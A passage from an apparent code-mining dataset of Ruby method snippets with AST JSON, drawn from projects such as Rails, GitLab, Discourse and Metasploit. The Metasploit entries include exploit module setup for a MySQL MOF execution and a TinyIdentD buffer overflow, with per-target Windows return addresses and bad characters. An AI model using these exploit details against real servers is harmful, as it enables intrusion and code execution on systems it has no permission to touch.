end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"detect_mentionable_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changes\"]},\"presence\"]},{\"type\":\"send\",\"children\":[null,\"previous_changes\"]}]}]},\"dup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mentionable\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"mentionable_attrs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"lvar\",\"children\":[\"attr\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mentionable\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"5b645560-79e9-4637-8604-6d05497cacb4"} {"repo_name":"openproject","file_path":"./repos/openproject/app/workers/shared_job_setup.rb","start_line":71,"raw_source":"def with_clean_request_store\n store = RequestStore.store\n\n begin\n RequestStore.clear!\n yield\n ensure\n # Reset to previous value\n RequestStore.clear!\n RequestStore.store.merge! store\n end\n end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"with_clean_request_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"store\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"clear!\"]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"clear!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"store\"]}]}]}]}]}]}]}","id":"9e7b6ba9-cc9c-4090-901d-68b65064606b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/audit/ci_runner_token_author.rb","start_line":15,"raw_source":"def initialize(entity_type:, entity_path:, runner_authentication_token: nil, runner_registration_token: nil)\n name =\n if runner_authentication_token.present?\n \"Authentication token: #{runner_authentication_token}\"\n elsif runner_registration_token.present?\n \"Registration token: #{runner_registration_token}\"\n else\n \"Token not available\"\n end\n\n super(id: -1, name: name)\n\n @entity_type = entity_type\n @entity_path = entity_path\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"entity_type\"]},{\"type\":\"kwarg\",\"children\":[\"entity_path\"]},{\"type\":\"kwoptarg\",\"children\":[\"runner_authentication_token\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"runner_registration_token\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner_authentication_token\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authentication token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner_authentication_token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner_registration_token\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Registration token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner_registration_token\"]}]}]},{\"type\":\"str\",\"children\":[\"Token not available\"]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@entity_type\",{\"type\":\"lvar\",\"children\":[\"entity_type\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@entity_path\",{\"type\":\"lvar\",\"children\":[\"entity_path\"]}]}]}]}","id":"6c605743-d2e5-473d-b3ac-c3b6e3f5cb0d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/asterisk.rb","start_line":26,"raw_source":"def send_command(cmd = '')\n sock.put cmd\n\n res = ''\n timeout = 15\n Timeout.timeout(timeout) do\n res << sock.get_once while res !~ /\\r?\\n\\r?\\n/\n end\n\n res\n rescue Timeout::Error\n print_error \"Timeout (#{timeout} seconds)\"\n rescue StandardError => e\n print_error e.message\n end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_command\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"cmd\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\r?\\\\n\\\\r?\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Timeout (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"str\",\"children\":[\" seconds)\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}","id":"9d1ee33d-3a1c-470b-9041-0ce9ae5ce682"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/application/configuration_test.rb","start_line":74,"raw_source":"def setup\n build_app\n suppress_default_config\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_app\"]},{\"type\":\"send\",\"children\":[null,\"suppress_default_config\"]}]}]}","id":"ebc76077-3674-4ef5-918c-414ea55439e9"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/support/bbcode/xml_to_markdown.rb","start_line":173,"raw_source":"def visit_E(xml_node, md_node)\n if @smilie_to_emoji\n md_node.text = @smilie_to_emoji.call(xml_node.content)\n md_node.skip_children\n end\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_E\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml_node\"]},{\"type\":\"arg\",\"children\":[\"md_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@smilie_to_emoji\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md_node\"]},\"text=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@smilie_to_emoji\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_node\"]},\"content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md_node\"]},\"skip_children\"]}]},null]}]}","id":"69f023ab-ea45-4c8a-95e8-09f32948b9bb"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_behavior.rb","start_line":421,"raw_source":"def test_nil_exist\n key = SecureRandom.alphanumeric\n @cache.write(key, nil)\n assert @cache.exist?(key)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nil_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"da0fe1c5-6d19-4e40-b43c-8beda9a50e35"} {"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/common/extended_progress_bar.rb","start_line":62,"raw_source":"def calculate_format\n if @max_progress\n format = I18n.t(\"progressbar.processed.progress_with_max\", current: \"%c\", max: \"%C\")\n @base_format = \" %a | %E | #{format}\"\n else\n format = I18n.t(\"progressbar.processed.progress\", current: \"%c\")\n @base_format = \" %a | #{format}\"\n end\n\n format\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_progress\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"progressbar.processed.progress_with_max\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current\"]},{\"type\":\"str\",\"children\":[\"%c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"str\",\"children\":[\"%C\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@base_format\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" %a | %E | \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"progressbar.processed.progress\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current\"]},{\"type\":\"str\",\"children\":[\"%c\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@base_format\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" %a | \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}","id":"05a1713a-874f-4370-9569-b2ef31977527"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/mysql/mysql_mof.rb","start_line":15,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution',\n 'Description' => %q{\n This module takes advantage of a file privilege misconfiguration problem\n specifically against Windows MySQL servers (due to the use of a .mof file).\n This may result in arbitrary code execution under the context of SYSTEM.\n This module requires a valid MySQL account on the target machine.\n },\n 'Author' => [\n 'kingcope',\n 'sinn3r'\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n ['CVE', '2012-5613'], # DISPUTED\n ['OSVDB', '88118'],\n ['EDB', '23083'],\n ['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13'],\n ['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],\n ['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],\n ['ATT&CK', Mitre::Attack::Technique::T1078_VALID_ACCOUNTS],\n ['ATT&CK', Mitre::Attack::Technique::T1105_INGRESS_TOOL_TRANSFER],\n ],\n 'Platform' => 'win',\n 'Targets' => [\n [ 'MySQL on Windows prior to Vista', {} ]\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2012-12-01',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('USERNAME', [ true, 'The username to authenticate as']),\n OptString.new('PASSWORD', [ true, 'The password to authenticate with'])\n ]\n )\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Oracle MySQL for Microsoft Windows MOF Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module takes advantage of a file privilege misconfiguration problem\\n\"]},{\"type\":\"str\",\"children\":[\" specifically against Windows MySQL servers (due to the use of a .mof file).\\n\"]},{\"type\":\"str\",\"children\":[\" This may result in arbitrary code execution under the context of SYSTEM.\\n\"]},{\"type\":\"str\",\"children\":[\" This module requires a valid MySQL account on the target machine.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"kingcope\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-5613\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"88118\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"23083\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/fulldisclosure/2012/Dec/13\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1059_COMMAND_AND_SCRIPTING_INTERPRETER\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1078_VALID_ACCOUNTS\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1105_INGRESS_TOOL_TRANSFER\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MySQL on Windows prior to Vista\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-12-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate as\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]}]}]}]}]}]}]}","id":"50f47427-4eb3-4a91-9d3f-6e16d21231b8"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/tiny_identd_overflow.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'TinyIdentD 2.2 Stack Buffer Overflow',\n 'Description' => %q{\n This module exploits a stack based buffer overflow in TinyIdentD\n version 2.2.\n If we send a long string to the ident service we can overwrite the\n return address and execute arbitrary code. Credit to Maarten Boone.\n },\n 'Author' => [\n 'Maarten Boone', # discovery\n 'Jacopo Cervini <acaro[at]jervus.it>', # metasploit\n ],\n 'References' => [\n ['BID', '23981'],\n ['CVE', '2007-2711'],\n ['EDB', '3925'],\n ['OSVDB', '36053'],\n ],\n 'Payload' => {\n 'Space' => 450,\n 'BadChars' => \"\\x00\\x0d\\x20\\x0a\"\n },\n 'Platform' => 'win',\n 'Targets' => [\n ['Windows 2000 Server SP4 - English', { 'Ret' => 0x7c2d15e7 } ], # call esi\n ['Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll\n ['Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll\n ['Windows 2000 Pro All - French', { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll\n ['Windows XP SP0/1 - English', { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll\n ['Windows XP SP2 - English', { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll\n ['Windows XP SP2 - Italian', { 'Ret' => 0x77f46eda } ], # call esi\n ],\n 'Notes' => {\n 'Reliability' => [ REPEATABLE_SESSION ],\n 'Stability' => [ CRASH_SERVICE_DOWN ],\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n },\n 'Privileged' => false,\n 'DisclosureDate' => '2007-05-14'\n )\n )\n\n register_options([ Opt::RPORT(113) ])\n end","complexity_score":7.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"TinyIdentD 2.2 Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a stack based buffer overflow in TinyIdentD\\n\"]},{\"type\":\"str\",\"children\":[\" version 2.2.\\n\"]},{\"type\":\"str\",\"children\":[\" If we send a long string to the ident service we can overwrite the\\n\"]},{\"type\":\"str\",\"children\":[\" return address and execute arbitrary code. Credit to Maarten Boone.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Maarten Boone\"]},{\"type\":\"str\",\"children\":[\"Jacopo Cervini <acaro[at]jervus.it>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"23981\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2007-2711\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"3925\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"36053\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[450]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\r \\n\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Server SP4 - English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2083329511]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Pro All - English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1963078673]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Pro All - Italian\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1962748801]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Pro All - French\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1962552098]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP0/1 - English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1906973335]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP2 - English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1906973474]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP2 - Italian\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2012507866]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2007-05-14\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[113]}]}]}]}]}]}","id":"b107fda8-69bc-4fe7-919b-c44e4ccbfe9a"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/component.rb","start_line":59,"raw_source":"def tid\n Thread.current[\"sidekiq_tid\"] ||= (Thread.current.object_id ^ ::Process.pid).to_s(36)\n 